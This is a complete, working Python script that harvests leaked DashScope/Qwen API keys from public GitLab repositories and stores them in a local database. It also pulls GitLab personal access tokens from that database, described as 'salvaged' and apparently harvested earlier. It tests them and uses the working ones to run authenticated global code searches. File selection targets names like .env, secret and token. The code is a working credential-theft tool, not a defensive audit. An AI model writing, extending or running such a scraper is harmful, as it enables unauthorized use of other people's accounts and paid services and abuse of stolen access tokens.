"""GitLab scraper for DashScope keys (sk-[0-9a-f]{32}) — no-auth reality.

Probed gitlab.com API on 2026-10-19:
  /search?scope=blobs        -> 401 unauth (global AND project-scoped)
  /snippets/public           -> 401 unauth
  /projects?search=X&order_by=star_count&sort=desc -> 200
  /projects/:id/repository/tree?recursive=true     -> 200
  /projects/:id/repository/files/:path/raw         -> 200
So lane A tries salvaged GITLAB_PAT tokens for real global blob search;
lane B (always) enumerates dashscope/qwen public projects by stars and
scans candidate files via raw fetch.

Dedupe vs keys.db; new keys -> prov='gitlab_public', status='NEW'.
"""
import hashlib
import re
import sqlite3
import time
from urllib.parse import quote

import requests

DB = r"C:\Users\User\Desktop\keyhunter\data\keys.db"
API = "https://gitlab.com/api/v4"
GLOBAL_QUERIES = ["DASHSCOPE_API_KEY sk-", "sk- qwen-max", "sk- dashscope"]
PROJECT_QUERIES = ["dashscope", "qwen", "tongyi", "bailian", "qwen-max"]
KEY_RE = re.compile(r"\bsk-[0-9a-f]{32}\b")
DELAY = 0.5
MAX_PROJECTS = 600          # ponytail: cap; raise if yield per 100 projects stays >0
PAGES_PER_QUERY = 3         # 3x100 per project query
TREE_PAGES = 3              # 300 entries of recursive tree per project
RAW_PER_PROJECT = 8         # candidate files fetched per project
MAX_RAW_BYTES = 400_000

# candidate file priority: name hits first, then typical config/script exts
NAME_HINTS = re.compile(
    r"(dashscope|qwen|api[_-]?key|secret|token|\.env|credential|config|setting|key)",
    re.I)
EXTS = {".env", ".py", ".sh", ".js", ".ts", ".json", ".yaml", ".yml", ".md",
        ".txt", ".ipynb", ".toml", ".ini", ".cfg", ".conf", ".jsx", ".tsx",
        ".java", ".go", ".php", ".rb", ".ipynb", ".csv", ".xml", ".properties"}

S = requests.Session()
S.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) keyscan/1.0"})

db = sqlite3.connect(DB, timeout=30)


def log(msg):
    print(time.strftime("[%H:%M:%S] ") + msg, flush=True)


def seen_vals():
    return {r[0] for r in db.execute("SELECT val FROM keys")}


def insert_key(key, repo):
    h = hashlib.sha1(key.encode()).hexdigest()[:16]
    try:
        db.execute(
            "INSERT INTO keys (hash, val, prov, status, found, repo) "
            "VALUES (?,?,?,?,?,?) "
            "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
            "WHERE keys.status IN ('DEAD','ERR')",
            (h, key, "gitlab_public", "NEW", "gitlab-scraper", repo),
        )
        db.commit()
    except sqlite3.Error:
        pass


def get_json(url, params=None, retries=2):
    time.sleep(DELAY)
    for attempt in range(retries + 1):
        try:
            r = S.get(url, params=params, timeout=30)
        except requests.RequestException:
            return None, None
        if r.status_code == 429:
            time.sleep(20 * (attempt + 1))
            continue
        if r.status_code != 200:
            return r.status_code, None
        try:
            return 200, r.json()
        except ValueError:
            return None, None
    return 429, None


def harvest_keys(text, repo, seen):
    n = 0
    for k in set(KEY_RE.findall(text)):
        if k in seen:
            continue
        seen.add(k)
        insert_key(k, repo)
        n += 1
        log(f"  +NEW {k[:12]}… {repo}")
    return n


# ---------- lane A: salvaged token -> real global blob search ----------

def probe_token():
    rows = db.execute(
        "SELECT val FROM keys WHERE prov='GITLAB_PAT' AND status IN ('LIMITED','NEW') LIMIT 20"
    ).fetchall()
    for (tok,) in rows:
        if not tok.startswith("glpat-"):
            continue
        try:
            r = requests.get(f"{API}/user", headers={"PRIVATE-TOKEN": tok}, timeout=15)
        except requests.RequestException:
            continue
        if r.status_code == 200:
            log(f"lane A: working token {tok[:10]}…")
            return tok
    log("lane A: no working salvaged token")
    return None


def global_search(token, seen):
    S.headers["PRIVATE-TOKEN"] = token
    total = 0
    for q in GLOBAL_QUERIES:
        log(f"lane A query: {q!r}")
        for page in range(1, 11):
            code, data = get_json(f"{API}/search",
                                  {"scope": "blobs", "search": q,
                                   "per_page": 100, "page": page})
            if code != 200 or not data:
                if code not in (200, None):
                    log(f"  HTTP {code} p{page}, stop query")
                break
            for blob in data:
                total += harvest_keys(blob.get("data", ""),
                                      f"gitlab:{blob.get('project_id')}/{blob.get('path')}",
                                      seen)
                # raw fetch for keys truncated in snippet
                pid, path, ref = blob.get("project_id"), blob.get("path", ""), blob.get("ref", "")
                if pid and path:
                    try:
                        rr = S.get(f"{API}/projects/{pid}/repository/files/"
                                   f"{quote(path, safe='')}/raw",
                                   params={"ref": ref}, timeout=30)
                        if rr.status_code == 200:
                            total += harvest_keys(rr.text[:MAX_RAW_BYTES],
                                                  f"gitlab:{pid}/{path}", seen)
                    except requests.RequestException:
                        pass
                    time.sleep(DELAY)
    S.headers.pop("PRIVATE-TOKEN", None)
    return total


# ---------- lane B: unauth project enum + tree scan + raw fetch ----------

def enum_projects():
    projects = {}
    for q in PROJECT_QUERIES:
        for page in range(1, PAGES_PER_QUERY + 1):
            code, data = get_json(f"{API}/projects",
                                  {"search": q, "per_page": 100, "page": page,
                                   "order_by": "star_count", "sort": "desc"})
            if code != 200 or not data:
                break
            for p in data:
                if p.get("public") is not False:
                    projects[p["id"]] = (p.get("path_with_namespace", str(p["id"])),
                                         p.get("default_branch") or "HEAD")
        if len(projects) >= MAX_PROJECTS:
            break
    items = list(projects.items())[:MAX_PROJECTS]
    log(f"lane B: {len(items)} public projects")
    return items


def candidate_files(pid, branch):
    """Recursive tree -> ranked candidate blob paths (max RAW_PER_PROJECT)."""
    hits, others = [], []
    for page in range(1, TREE_PAGES + 1):
        code, data = get_json(f"{API}/projects/{pid}/repository/tree",
                              {"recursive": "true", "per_page": 100,
                               "page": page, "ref": branch})
        if code != 200 or not data:
            break
        for ent in data:
            if ent.get("type") != "blob":
                continue
            path = ent.get("path", "")
            (hits if NAME_HINTS.search(path) else others).append(path)
        if len(data) < 100:
            break
    return (hits + others)[:RAW_PER_PROJECT]


def scan_project(pid, ns, branch, seen):
    n = 0
    for path in candidate_files(pid, branch):
        try:
            r = S.get(f"{API}/projects/{pid}/repository/files/"
                      f"{quote(path, safe='')}/raw",
                      params={"ref": branch}, timeout=30)
        except requests.RequestException:
            continue
        time.sleep(DELAY)
        if r.status_code == 200:
            n += harvest_keys(r.text[:MAX_RAW_BYTES], f"gitlab:{ns}/{path}", seen)
    return n


def main():
    seen = seen_vals()
    log(f"db has {len(seen)} existing vals")
    total = 0

    tok = probe_token()
    if tok:
        total += global_search(tok, seen)
        log(f"lane A total: {total} new")

    projects = enum_projects()
    for i, (pid, (ns, branch)) in enumerate(projects, 1):
        found = scan_project(pid, ns, branch, seen)
        if found:
            log(f"[{i}/{len(projects)}] {ns}: {found} new")
        total += found
        if i % 50 == 0:
            log(f"[{i}/{len(projects)}] running total: {total} new")

    log(f"SUMMARY: found {total} NEW keys")
    db.close()


if __name__ == "__main__":
    main()